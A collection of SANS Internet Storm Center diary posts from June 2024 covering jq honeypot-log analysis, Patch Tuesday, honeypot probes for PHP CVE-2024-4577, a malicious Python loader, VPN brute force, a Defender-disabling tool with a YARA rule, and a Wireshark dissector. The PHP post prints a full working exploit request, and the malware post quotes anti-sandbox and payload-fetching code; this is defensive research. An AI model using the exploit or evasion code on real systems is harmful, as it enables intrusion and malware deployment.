Published: 2024-06-13

The Art of JQ and Command-line Fu [Guest Diary]

[This is a Guest Diary by Kaela Reed, an ISC intern as part of the SANS.edu BACS program]

Viewing logs from a command-line can make it difficult to extract meaningful data if you’re unfamiliar with the utilities. While there is a learning curve to working with command-line utilities to sort through logs, they are efficient, flexible, and easy to incorporate into scripts. Using tools like jq, cut, sort, and wc, we can extract details from logs to gather statistics and help us build context from attacks.

What is JSON?

JavaScript Object Notation (JSON) is a log format that is a lightweight and structured data-interchange format [1]. JSON is a common format used for logs and APIs because it’s easy for machines to parse. The simple structure also makes it easy for humans to read, especially when used in conjunction with a utility called jq (JSON Query), which we will revisit after we cover the basics of JSON.


JSON uses curly braces to hold “objects,” which contain unordered key/value pairs [2]. A key/value pair is separated by a colon and each key/value pair is separated by a comma. You might recognize this format if you’ve ever decoded a JWT (JSON Web Token):
  "alg": "HS256",
  "typ": "JWT"


JSON also uses ordered lists called “arrays” which can be contained within objects:
"method": "POST",
"url": "/aws/credentials",
“useragent”: [
 "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"                                             

JQ to the Rescue

The jq tool is a free, open-source JSON processor written in portable C programming and has no runtime dependencies. It’s easy to parse and filter through JSON logs with jq and it’s already packaged in major distributions of Linux, but you can also download it [3].

Extracting Data from Logs

If we read a JSON file using the cat utility in Linux, it can be difficult to sort through the information:

This is where jq comes in handy! Using jq, we can interact with the data from JSON logs in a meaningful way. 
To read a JSON log with jq, we can either cat the file and pipe it through jq, or use the command:
jq . <filename>

Using jq with JSON logs makes it easier for the reader to sort through the data. However, simply printing the log to the screen isn’t enough to extract meaningful information when you’re dealing with large log files and thousands or more records to sort through.

Finding Keys

Recall that JSON consists of key/value pairs. We can list all the keys in a JSON file to help us extract specific information later:
cat logs/web/webhoneypot-2024-04-20.json | jq 'keys'

Source IPs

There’s a key named “sip” which stores source IP addresses. We can filter data by using dot notation with .<field name> [4]. To extract the source IPs from the JSON file, we can use .sip. Let’s look at all the source IPs in the log file by using jq, then pipe it to sort and remove the quotation marks in the output:
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq '.sip' | sort -u | tr -d "\""

Even better, we could use jq -r for raw output instead of using the tr utility to get rid of the quotation marks.
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq -r '.sip' | sort -u

Piping the previous command to wc -l, we can count how many lines there are, which will also tell us how many source IP addresses we have:
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq -r '.sip' | sort -u | wc -l

Extracting URIs

URIs are stored in the field name "url." The following command will print every URI in the log on separate lines:
cat logs/web/webhoneypot-2024-04-20.json | jq '.url'

Piping the previous command to wc -l, we can count the number of URIs, which is 105,218. That’s a lot! 

However, if we pipe the jq command to sort, we will see there are duplicate values. Many of the same URIs were visited multiple times and from multiple IP addresses.

To extract a list of unique URIs and get rid of the duplicates, we can follow the same method in the last example by sorting the URIs, but pipe the command through sort or uniq.

We have 510 unique URIs visited!

Extracting Multiple Elements

We can also extract multiple elements and separate them into objects:
cat logs/web/webhoneypot-2024-04-20.json | jq 'select(.sip == "") | {time, sip, url}' > dirb-attack.json

Alternative Ways with Arrays

Why did the programmer quit his job?

Because he didn’t get arrays!

In JSON, we can convert fields into different data types. In the last example, we extracted multiple elements and placed them into objects. We could also extract multiple elements and convert them to arrays: 
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq 'select(.sip == "") | [.time, .sip, .url]'

With arrays, we can access the data with an index number. If we want to look at the 3rd element, which consists of URIs, we can reference the index value. With indexing, the first element starts at 0, so if we want to look at the 3rd element, we need to use an index of 2. We can then pipe that to sort -u to sort unique URIs alphabetically:

cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq 'select(.sip == "") | [.time, .sip, .url]' | jq -r .[2] | sort -u

We can also grab only the URIs, join each one with a new line, sort and count how many unique URIs there are:
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq -r 'select(.sip == "") | [.url] | join("\n")' | sort -u | wc -l

Converting to CSV Format

We can take different fields from JSON and convert that data into a CSV format [5]. Let’s take the "time", "sip" and "url" fields, then convert the data to a CSV and open it in a spreadsheet editor.
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq -r 'select(.sip == "") | [.time,.sip,.url] | @csv' > attack.csv

What is Directory Busting?

In the following example, we’re going to extract useful information from a directory busting attack that came from one specific IP address, but first, what is directory busting?

Directory Busting (Forced Browsing) is a technique used to discover hidden webpages and files on a webserver [6]. This can be done manually by sending HTTP requests to the server requesting common page names and files, however, this is often performed with automated tools and scripts. Automation allows for hundreds or thousands of requests to different URIs in a short period of time. The goal of this kind of attack is to discover sensitive information, map the attack surface, and identify interesting pages (like administrative login pages) that could contain vulnerabilities.

Finding How Many Unique URIs an Attacker Probed

Let’s first look at all entries from the attacker’s IP and send that the output to a separate JSON file:

cat webhoneypot-2024-04-20.json | jq 'select(.sip == "")’ > ip_75.101.186.148.json

If we want to make sure this worked, we can list all the source IPs in the new file we created to make sure the logs are only from the attacker IP address
cat ip_75.101.186.148.json | jq -r '.sip' | sort -u

Perfect! The new file only contains logs from the source IP of If we use the wc utility, we see there are 104,196 entries from that one IP!

Looking at the time stamps, these attacks occurred in a very short amount of time (roughly 5 minutes). This is typical in an automated attack like directory busting.
Let’s pipe the URIs through sort, then count how many different URIs were probed by this attacker:
cat ip_75.101.186.148.json | jq '.url' | sort -u | wc -l

The attacker IP probed 452 unique URIs on the webserver. Looking at the Internet Storm Center’s Report on the attacker IP, that is an accurate number [7]. Although directory busting attacks can be accomplished with brute-force techniques, these are usually accomplished as dictionary attacks. The threat actor has been reported multiple times and has probed the same number of unique URLs each time, so the attacker is likely using the same wordlist to perform the directory busting attack:

The previous commands in the directory busting scenario were run separately, but could have been performed with one command to achieve the same result:
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq 'select(.sip == "") | (.url)' | sort -u | wc -l


These examples weren’t the only ways we could’ve arrived with the same outcome. This is the wonderful thing about using command-line fu! There isn’t just ONE way to reach the same answer and that’s part of what can make log analysis within the command-line fun! We’ve merely scratched the surface with jq, but there is a website you can go to paste JSON data and practice with jq, called JQ Play [8]. 

Keep practicing the art of command-line fu, grasshopper!

Cheat Sheet

[1] JSON.org. “Introducing JSON.” Json.org, www.json.org/json-en.html. Accessed 28 May 2024.
[2] w3schools. “JSON Syntax.” W3schools.com, 2019, www.w3schools.com/js/js_json_syntax.asp. Accessed 28 May 2024.
[3] jqlang.io. “Download jq,” jqlang.github.io. https://jqlang.github.io/jq/download. Accessed May 28, 2024).
[4] “How to Use JQ to Process JSON on the Command Line.” Linode Guides & Tutorials, 5 Nov. 2021, www.linode.com/docs/guides/using-jq-to-process-json-on-the-command-line/. Accessed 28 May 2024.
[5] Ramanujam, Sriram. “How to Convert JSON to CSV in Linux.” Baeldung, 13 Dec. 2023, www.baeldung.com/linux/json-csv. Accessed 28 May 2024.
[6] OWASP. “Forced Browsing.” Owasp.org, owasp.org/www-community/attacks/Forced_browsing. Accessed 28 May 2024.
[7] Internet Storm Center. “IP Info:” SANS Internet Storm Center, https://isc.sans.edu/ipinfo/ Accessed 28 May 2024.
[8] jqlay. “Jq Play.” Jqplay.org, jqplay.org. Accessed 28 May 2024.
[9] https://www.sans.edu/cyber-security-programs/bachelors-degree/
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu


Published: 2024-06-12

Port 1801 Traffic: Microsoft Message Queue

I planned a bit a more conclusive story here, but after running into issues decoding the packets and running out of time between looking at student papers, I figured I would leave it up to the audience ;-) Maybe someone here better understands the Microsoft Message Queue (MSMQ) protocol.

Yesterday's Microsoft patch Tuesday included a single critical vulnerability, a code execution vulnerability in MSMQ. I noted in the podcast that we see some "background hum" on port 1801, the port used by MSMQ.

port 1801 traffic

So I fired up some netcat listeners on port 1801, and after a short wait, this is what I got:

(this is the TCP payload. I removed IP and TCP header)

0000   10 c0 0b 00 4c 49 4f 52 3c 02 00 00 ff ff ff ff   ....LIOR<.......
0010   00 00 02 00 d1 58 73 55 50 91 95 95 49 97 b6 e6   .....XsUP...I...
0020   11 ea 26 c6 07 89 cd 43 4c 39 11 8f 44 45 90 78   ..&....CL9..DE.x
0030   90 9e a0 fc 4e ca de 1d 10 03 00 00 00 00 00 00   ....N...........


The entire payload had 572 bytes, but I removed the trailing 0-bytes.

Any idea? The bit of decoding I did so far suggests that this is MSMQ, and likely just checking if I am running a MSMQ server. What response should I return?



Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu


Published: 2024-06-11

Microsoft Patch Tuesday June 2024

Microsoft's June 2024 update fixes a total of 58 vulnerabilities. 7 of these vulnerabilities are associated with Chromium and Microsoft's Brave browser. Only one vulnerability is rated critical. One of the vulnerabilities had been disclosed before today.

Vulnerabilities of Interest:

CVE-2023-50868 NSEC closest enclosed proof can exhaust CPU: This issue became public in February. It affects not only Microsoft's DNS implementations but several other DNS servers. The vulnerability was made public by researchers from several German universities and research labs. They called it "KEYTRAP" and released a paper with details [1]

CVE-2024-30080 Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability: MSMQ is the service that keeps on giving. The tricky part with MSMQ is that third party software often uses it. MSMQ usually listens on port %%port:1801%%/TCP. We do see a good amount of "background hum" on port 1801, and I do not see a good reason to expose it to the internet. 


[1] https://www.athene-center.de/en/keytrap


CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
Azure Identity Libraries and Microsoft Authentication Library Elevation of Privilege Vulnerability
%%cve:2024-35255%% No No - - Important 5.5 4.8
Azure Monitor Agent Elevation of Privilege Vulnerability
%%cve:2024-35254%% No No - - Important 7.1 6.2
Azure Science Virtual Machine (DSVM) Elevation of Privilege Vulnerability
%%cve:2024-37325%% No No - - Important 8.1 7.3
Azure Storage Movement Client Library Denial of Service Vulnerability
%%cve:2024-35252%% No No - - Important 7.5 6.5
Chromium: CVE-2024-5493 Heap buffer overflow in WebRTC
%%cve:2024-5493%% No No - - -    
Chromium: CVE-2024-5494 Use after free in Dawn
%%cve:2024-5494%% No No - - -    
Chromium: CVE-2024-5495 Use after free in Dawn
%%cve:2024-5495%% No No - - -    
Chromium: CVE-2024-5496 Use after free in Media Session
%%cve:2024-5496%% No No - - -    
Chromium: CVE-2024-5497 Out of bounds memory access in Keyboard Inputs
%%cve:2024-5497%% No No - - -    
Chromium: CVE-2024-5498 Use after free in Presentation API
%%cve:2024-5498%% No No - - -    
Chromium: CVE-2024-5499 Out of bounds write in Streams API
%%cve:2024-5499%% No No - - -    
DHCP Server Service Denial of Service Vulnerability
%%cve:2024-30070%% No No - - Important 7.5 6.7
GitHub: CVE-2024-29187 WiX Burn-based bundles are vulnerable to binary hijack when run as SYSTEM
%%cve:2024-29187%% No No - - Important 7.3 6.4
MITRE: CVE-2023-50868 NSEC3 closest encloser proof can exhaust CPU
%%cve:2023-50868%% Yes No - - Important 7.5 6.5
Microsoft Azure File Sync Elevation of Privilege Vulnerability
%%cve:2024-35253%% No No - - Important 4.4 4.2
Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability
%%cve:2024-35263%% No No - - Important 5.7 5.0
Microsoft Dynamics 365 Business Central Elevation of Privilege Vulnerability
%%cve:2024-35248%% No No - - Important 7.3 6.4
Microsoft Dynamics 365 Business Central Remote Code Execution Vulnerability
%%cve:2024-35249%% No No - - Important 8.8 7.7
Microsoft Event Trace Log File Parsing Remote Code Execution Vulnerability
%%cve:2024-30072%% No No - - Important 7.8 6.8
Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability
%%cve:2024-30080%% No No - - Critical 9.8 8.5
Microsoft Office Remote Code Execution Vulnerability
%%cve:2024-30101%% No No - - Important 7.5 6.5
%%cve:2024-30102%% No No - - Important 7.3 6.4
%%cve:2024-30104%% No No - - Important 7.8 6.8
Microsoft Outlook Remote Code Execution Vulnerability
%%cve:2024-30103%% No No - - Important 8.8 7.7
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2024-30100%% No No - - Important 7.8 6.8
Microsoft Speech Application Programming Interface (SAPI) Remote Code Execution Vulnerability
%%cve:2024-30097%% No No Less Likely Less Likely Important 8.8 7.7
Microsoft Streaming Service Elevation of Privilege Vulnerability
%%cve:2024-30089%% No No - - Important 7.8 6.8
%%cve:2024-30090%% No No - - Important 7.0 6.1
Visual Studio Elevation of Privilege Vulnerability
%%cve:2024-29060%% No No - - Important 6.7 5.8
Visual Studio Remote Code Execution Vulnerability
%%cve:2024-30052%% No No - - Important 4.7 4.1
Win32k Elevation of Privilege Vulnerability
%%cve:2024-30082%% No No - - Important 7.8 6.8
%%cve:2024-30087%% No No - - Important 7.8 6.8
%%cve:2024-30091%% No No - - Important 7.8 7.0
Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability
%%cve:2024-30085%% No No - - Important 7.8 7.0
Windows Container Manager Service Elevation of Privilege Vulnerability
%%cve:2024-30076%% No No - - Important 6.8 5.9
Windows Cryptographic Services Information Disclosure Vulnerability
%%cve:2024-30096%% No No - - Important 5.5 4.8
Windows Distributed File System (DFS) Remote Code Execution Vulnerability
%%cve:2024-30063%% No No - - Important 6.7 5.8
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2024-30064%% No No - - Important 8.8 7.7
%%cve:2024-30068%% No No - - Important 8.8 7.7
%%cve:2024-30088%% No No - - Important 7.0 6.3
%%cve:2024-30099%% No No - - Important 7.0 6.3
Windows Kernel-Mode Driver Elevation of Privilege Vulnerability
%%cve:2024-35250%% No No - - Important 7.8 6.8
%%cve:2024-30084%% No No - - Important 7.0 6.1
Windows Link Layer Topology Discovery Protocol Remote Code Execution Vulnerability
%%cve:2024-30074%% No No - - Important 8.0 7.2
%%cve:2024-30075%% No No - - Important 8.0 7.0
Windows OLE Remote Code Execution Vulnerability
%%cve:2024-30077%% No No - - Important 8.0 7.0
Windows Perception Service Elevation of Privilege Vulnerability
%%cve:2024-35265%% No No - - Important 7.0 6.1
Windows Remote Access Connection Manager Information Disclosure Vulnerability
%%cve:2024-30069%% No No - - Important 4.7 4.1
Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability
%%cve:2024-30094%% No No - - Important 7.8 6.8
%%cve:2024-30095%% No No - - Important 7.8 6.8
Windows Standards-Based Storage Management Service Denial of Service Vulnerability
%%cve:2024-30083%% No No - - Important 7.5 6.5
Windows Standards-Based Storage Management Service Remote Code Execution Vulnerability
%%cve:2024-30062%% No No - - Important 7.8 7.0
Windows Storage Elevation of Privilege Vulnerability
%%cve:2024-30093%% No No - - Important 7.3 6.4
Windows Themes Denial of Service Vulnerability
%%cve:2024-30065%% No No - - Important 5.5 4.8
Windows Wi-Fi Driver Remote Code Execution Vulnerability
%%cve:2024-30078%% No No - - Important 8.8 7.7
Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability
%%cve:2024-30086%% No No - - Important 7.8 6.8
Winlogon Elevation of Privilege Vulnerability
%%cve:2024-30066%% No No - - Important 5.5 4.8
%%cve:2024-30067%% No No - - Important 5.5 4.8

Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu


Published: 2024-06-09

Attacker Probing for New PHP Vulnerablity CVE-2024-4577

Our honeypots have detected the first probes for CVE-2024-4577. This vulnerability was originally discovered by Orange Tsai on Friday (June 7th) [1][2]. Watchtwr labs followed up with a detailed blog post and a proof of concept exploit [3].

Watchtwr Labs says PHP is only vulnerable if used in CGI mode in Chinese and Japanese locales. According to Orange Tsai, other locales may be vulnerable as well.

In CGI mode on Windows, the web server will execute "php.exe" and pass user-supplied parameters as command line or environment variables. This may potentially lead to OS command injection, a vulnerability I just covered last week in a video [4].

As parameters are passed from Apache to the command line, Apache will escape hyphens and render them harmless. However, an attacker may provide a "soft hyphen" (Unicode code point 0x00AD). PHP performs "best fit mapping" on characters passed on the command line, translating it to a dash. This allows an attacker to bypass the Apache escape process, and inject dashes. With that, an attacker can supply command line arguments to php.exe. A possibly choice outlined by Watchtwr is:

-d allow_url_include=1 -d auto_prepend_file=php://input

This will prepend the body of a POST request, leading to PHP code execution.

The exploit I have seen so far matches that pattern:

POST /php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: [honeypot IP address redacted]
User-Agent: Go-http-client/1.1
Content-Length: 26
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

<?php die(md5(124*234));?>


This type of hash calculation is typical for verifying PHP vulnerabilities. In itself, it does not cause problems, but it may be used to find vulnerable systems for further exploitation.

One IP address I have seen use this scan is %%ip: This IP address has been active in our logs since March and has attempted other PHP-related exploits.

Last week, PHP released updates for currently supported versions, addressing this vulnerability. 

[1] https://x.com/orange_8361/status/1798919363376066781
[2] https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html
[3] https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/
[4] https://www.youtube.com/watch?v=7QDO3pZbum8


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu


Published: 2024-06-07

Finding End of Support Dates: UK PTSI Regulation

One of the challenges with many IoT devices, in particular those targeting consumers and small businesses, is the ability to find how long a device is supported. This "expiration date" is becoming important as vulnerabilities are often discovered after a product no longer receives updates. In this case, users are often out of luck and left with a vulnerable device. Manufacturers will often not even acknowledge the vulnerability or provide notifications to users.

This will also make it difficult buying a device. It is often not clear what the "expiration date" of the device will be, and in some cases, you may purchase a device that no longer receives any updates.

Luckily, the UK government is here to help. As of April, any supplier of internet-connected devices in the UK must file a "Declaration of Compliance" with the UK's Office of Office for Product Safety & Standards [1]. Failing to do so can lead to hefty fines. The statement must include the minimum support period for the device. The same regulation also requires unique passwords and contact information to report vulnerabilities. 

Sadly, I haven't found a simple database to look up this declaration of compliance, but vendors post it on their websites. The regulation also states that the statement of compliance must accompany the product. But when you buy and open the product, it may be too late. Vendors may include this statement outside of the UK for simplicity, as you often find a long list of compliance statements for various locations included. Still, there is no guarantee that vendors will do this.

However, many vendors choose to make these statements public on their website. I collected below a few from popular vendors:

Supplier Statement URL
Apple https://regulatoryinfo.apple.com/ukpsti
Asus https://www.asus.com/support/faq/1051929/
GL.Inet https://www.gl-inet.com/psti/
GoPro https://gopro.com/en/us/legal/uk-psti-compliance
Google https://support.google.com/product-documentation/answer/14869041?hl=en
Lenovo https://www.lenovo.com/us/outletus/en/compliance/uk-psti-soc/
Linksys https://downloads.linksys.com/support/assets/others/UK_PTSI_Statement_of_Compliance_w_products.pdf
Motorola https://en-gb.support.motorola.com/app/answers/detail/a_id/178271/~/uk-psti
Netgear https://kb.netgear.com/000066102/UK-PSTI-Declaration-of-Conformity
Philips https://www.documents.philips.com/assets/UK%20Declaration%20of%20Conformity/20240530/78360cfd353b45bd944eb180001d9832.pdf
Samsung https://news.samsung.com/uk/notice-new-uk-product-security-and-telecommunications-infrastructure-psti-law
TP-Link https://www.tp-link.com/uk/support/psti/


Please let me know if you know of a better database that lists the compliance statements. For example, I could not find one for Ubiquity (Unifi). However, I believe they are still using the default password "ubnt" which puts them out of compliance.

I recommend labeling new devices with the purchase date and the end of support date as you receive them. The purchase date is good to have handy for warranty purposes, and the end of support date is important to know when you will have to replace the device.

[1] https://www.gov.uk/government/publications/the-uk-product-security-and-telecommunications-infrastructure-product-security-regime


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu


Published: 2024-06-06

Malicious Python Script with a "Best Before" Date

When you buy some fresh food, it's always a good idea to keep an eye on the best-before date. I found a funny piece of malicious Python script that implements the same technique. It will execute only before a specified date (Jun 10th in this case). The script purpose is classic: it will fetch a payload from a remote site, inject it in memory and start a new thread. Such payload are usually related to CobaltStike. I think that the script is still being developed and the attacker tested its score on VT because the payload is fetched from an RFC1918 IP address.

I won't cover the code injection part because it's super common: 

  1. Allocate some memory with VirtualAlloc() and 0x40 (PAGE_EXECUTE_READWRITE)
  2. Copy the payload in the newly allocated memory with RtlMoveMemory()
  3. Launch if with CreateThread() and WaitForSingleObject()

The most interesting part is related to the anti-VM and anti-debugging techniques. The script implements multiple checks.

First, as said in the title, it has an expiration date and won't detonate after it:

YLtsrDkSMJIUX = datetime.now()
tOyPJeSBB = datetime.strptime("24-06-10","%y-%m-%d") 

Then, it detects if a user is using the mouse:

sPrMcMrd = 0
ZSAdShMGbnjn = 300
while sPrMcMrd < ZSAdShMGbnjn:
    lhCIIwcaO = win32api.GetAsyncKeyState(1)
    PUlVQpUUGQwz = win32api.GetAsyncKeyState(2)
    if lhCIIwcaO % 2 == 1:
        sPrMcMrd += 1
    if PUlVQpUUGQwz % 2 == 1:
        sPrMcMrd += 1
if sPrMcMrd >= ZSAdShMGbnjn:

GetAsyncKeyState() is used to detect if the user presses some keys but this API call can do more. If you pass the keycodes 0x01 or 0x02, you will test if, respectively, the left and right mouse button is used[1].

Then,  it detects if the mouse is moving:

SJlEvm, OsmSmAnVBYAbB = win32api.GetCursorPos()
mCBvRLEZPc, FTIUWfDRINwDu = win32api.GetCursorPos()
if SJlEvm - mCBvRLEZPc != 0 or OsmSmAnVBYAbB - FTIUWfDRINwDu != 0:

Why checling the mouse position if we already detected a "click"? Some old sandboxes just move the mouse or simulate click but not both. 

The system timezone is also checked:

import time as eJXueV
if eJXueV.tzname[0] != "Coordinated Universal Time" and eJXueV.tzname[1] != "Coordinated Universal Time":

Finally, some sandboxes manipulate the system clock. For bypass this, the script tests the time via NTP:

client = socket.socket(AF_INET, SOCK_DGRAM)
client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123))
msg, address = client.recvfrom( 1024 )
trdooQNWRx = datetime.datetime.fromtimestamp(struct.unpack("!12I",msg)[10] - 2208988800)
client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123))
msg, address = client.recvfrom( 1024 )
if ((datetime.datetime.fromtimestamp((struct.unpack("!12I",msg)[10] - 2208988800)) - trdooQNWRx).seconds >= 1500):

If all these conditions are met, the payload is fetched and injected in memory.

To fetch the payload, a random 4-characters string is added as URI:

def uwvPCLCq(s): return sum([ord(ch) for ch in s]) % 0x100
def eZXAAmANKYtzQ():
    for x in range(64):
         afeookOu = ''.join(random.sample(string.ascii_letters + string.digits,3))
         wOozSRtIoWO = ''.join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random()))
         for BuJqgEjrd in wOozSRtIoWO:
             if uwvPCLCq(afeookOu + BuJqgEjrd) == 92: return afeookOu + BuJqgEjrd

Here is an example:

>>> eZXAAmANKYtzQ()
>>> eZXAAmANKYtzQ()
>>> eZXAAmANKYtzQ()

This looks exactly like a default CobaltStrike beacon! The script has currently a score of 12/71 on VT (SHA256: eca1cd9ce317ada991e0a037e70c15e471e9076faa58adf682efbfe22ffa747f[2])

[1] https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes
[2] https://www.virustotal.com/gui/file/eca1cd9ce317ada991e0a037e70c15e471e9076faa58adf682efbfe22ffa747f

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2024-06-05

Brute Force Attacks Against Watchguard VPN Endpoints

If you have a pulse and work in information security (or are a new scraping script without a pulse), you have probably seen reports of attacks against VPN endpoints. Running any VPN without strong authentication has been negligent for years, but in recent times, ransomware gangs, in particular, picked them off pretty quickly.

One of our honeypots just saw an attacker move through, attempting to brute force a Watchguard firewall VPN. I haven't seen much written about Watchguard lately, so I figured this may be a good reminder. The requests I was seeing against one honeypot in particular:


POST /wgcgi.cgi HTTP/1.1\
Host: [honeypot IP address redacted]:4443
Content-Type: application/x-www-form-urlencoded
Content-Length: 109


Note the bare-bones headers without a user agent, suggesting a simple script to be used for these attacks.

The main source of these attacks so far has been %%ip: In February, this IP address hit a couple of other URLs, such as login.

Interestingly, so far, I have seen only two usernames being used: "jason" and "robert". Not sure why this is significant.

The list of passwords is a bit longer:


You may want to block the use of any of these passwords and add them to your brute force list.

Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu


Published: 2024-06-04

No-Defender, Yes-Defender

This is a guest diary by John Moutos

Recently I was made aware of a neat utility (https://github.com/es3n1n/no-defender/) which provides the capability to disable Windows Defender by abusing the WSC (Windows Security Center) registration that other AV and EDR providers utilize to become the main provider on systems, mostly to avoid conflict with Windows Defender.

It does this by abusing the middle-man WSC proxy app Avast bundles with their software, which provides access to the necessary WSC APIs for registration, and registers itself as an fraudulent AV provider, forcing Defender to step down (periodic scanning will still function if enabled manually).

As with all utilities that have the potential to aid in defense evasion, this will eventually make the rounds with active threat groups, until it is deemed obsolete or no longer viable.

To detect usage of this or similar tools, monitoring the “SecurityCenter” Windows event log for event ID 15 is ideal. This can help identify if an unwanted application registered and enabled itself as a security provider in place of Defender.

xml from security center

Figure 1: Triggered Event

Additionally, blocking the Avast signing certificate through an AppLocker publisher rule could also help hinder use of the tool.

applocker deny rule

At the time of writing, EDR and AV vendors are picking up on this quickly, as evidenced by the threat label in VirusTotal and the increasing detection count.

no devender loader detection

Figure 3: No-defender Loader detection [2]

no defender detection

Figure 4: No-defender Detection[3]

Also included is a Yara rule to detect the Avast WSC Proxy components. Hash rules may be sufficient, but older versions of the components may also be equally vulnerable to abuse.

Yara Rule

import "pe"

rule nodefender_avastwsc
      description = "Avast wsc proxy components used by no-defender"
  hash = "79e53d36a40951ab328e153bac9c1e3adf3330b45899345e645889b9046f06e0"
  hash = "de820b5e592cf456f6a4f8356195c4a335a51c6354ca7ac32ccd390e62d9becc"
        $a1 = "Avast Software s.r.o" nocase
  $a2 = "Cannot enable RPC marshaling into service when Avast client integration is not set" nocase
  $a3 = {77 00 73 00 63 00 2E 00 64 00 6C 00 6C 00 00 00 72 75 6E}
  $a4 = "BUILDS\\Release\\x64\\wsc_proxy.pdb" nocase
  $s1 = {09 02 B3 6B 32 51 C3 28 08 3F 77 7C A0 84 28 FF}
  $s2 = {03 F0 2A CA 05 1D 1C 93 30 EE AB D3 70 6E 83 6F}
      uint16(0) == 0x5a4d
      and $a1 and ($s1 or $s2) and ($a2 or $a3 or $a4)
      and for any i in (0 .. pe.number_of_signatures) : (
         (pe.signatures[i].issuer contains "DigiCert High Assurance Code Signing CA-1"
 or pe.signatures[i].issuer contains "DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1")
 and pe.signatures[i].subject contains "Avast"


[1] https://github.com/es3n1n/no-defender
[2] https://www.virustotal.com/gui/file/f4652a2073f72a1fc64dfc08a3a56c258f30cc4737ab9feefb602d54ec4c68b5
[3] https://www.virustotal.com/gui/file/54fc10e6f2675adb1e712ab7afd0d8e1a561b0fbebc7aa0d3fcf90c09a9597a6


Published: 2024-06-03

A Wireshark Lua Dissector for Fixed Field Length Protocols

I developed a Wireshark dissector in Lua to parse binary protocols (over TCP) that are composed of fields with fixed lengths. I got this idea while taking a SANS ICS training: for protocol reversing, it would be useful to have a dissector where I can configure the fields (length, type, name, ...).

As an example, I'm using a packet capture of a demo protocol for firmware upload (didactic).

The format of the protocol data unit (PDU) looks like this:

  • Byte 1: the function of the PDU (0x10 start upload, 0x11 upload, 0x12 end upload)
  • Byte 2: the direction (0 from client to server, 1 from server to client)
  • Byte 3 and 4: a PDU counter for uploads, it's a little-endian integer
  • Byte 5 and 6: the length of the uploaded data, it's a little-endian integer
  • Bytes 7 and following: the uploaded data

Command-line arguments are provided to configure the Lua dissector to parse this traffic:

"c:\Program Files\Wireshark\Wireshark.exe" -X lua_script:fl-dissector.lua -X lua_script1:port:50500 -X lua_script1:protocolname:firmware -X lua_script1:fieldlengths:1:B,1:B,2:L,2:L -X lua_script1:fieldnames:Function,Direction,Counter,DataLength,Data capture-firmware-upload.pcapng

"-X lua_script:fl-dissector.lua" loads dissector fl-dissector.lua in Wireshark.

"-X lua_script1:port:50500" provides a port:50500 option value to the dissector. This specifies the TCP port (50500) of the traffic that should be dissected.

"-X lua_script1:protocolname:firmware" specifies the name of the protocol.

"-X lua_script1:fieldlengths:1:B,1:B,2:L,2:L" specifies the field lengths: 1 byte, 1 byte, 2 bytes and 2 bytes. The 2 bytes fields are little-endian integers (:L).

"-X lua_script1:fieldnames:Function,Direction,Counter,DataLength,Data" specifies the names of the fields.

Configured like this, the protocol "firmware" is added to Wireshark and used for dissecting traffic over TCP port 50500:

Once the dissector is defined, it can be used to filter traffic. For example, in the above screenshot, I use display filter "firmware" to limit the view to this firmware protocol.

I can even use tshark to extract the uploaded firmware. For this, I switch to tshark:

"c:\Program Files\Wireshark\tshark.exe" -X lua_script:fl-dissector.lua -X lua_script1:protocolname:firmware -X lua_script1:port:50500 -X lua_script1:fieldlengths:1,1,2,2 -X lua_script1:fieldnames:Function,Direction,Counter,DataLength,Data -r capture-firmware-upload.pcapng -Y "(firmware.Function == 0x11) && (firmware.Direction == 0)" -e firmware.Data -Tfields

The arguments for the dissector are the same. I use a display filter (-Y "(firmware.Function == 0x11) && (firmware.Direction == 0)") to filter for PDUs that upload the firmware (function == 0x11) to the server (direction == 0). I configure tshark to just output the value of field data as hexadecimal (-e firmware.Data -Tfields). This is the result:

Next, I convert this hexadecimal data to binary with my tool hex-to-bin.py, and use another tool (file-magic.py) to try to identify the uploaded data:

It is a ZIP file, this can be confirmed with my zipdump.py tool:

I created this packet capture file of a firmware upload to an IoT device for didactic purposes, e.g., to explain a process of reverse engineering a binary network protocol.

If you want to know more about this, take a look at my blog post "Reversing A Network Protocol" and YouTube video "Reversing A Network Protocol".

YouTube Video

Didier Stevens
Senior handler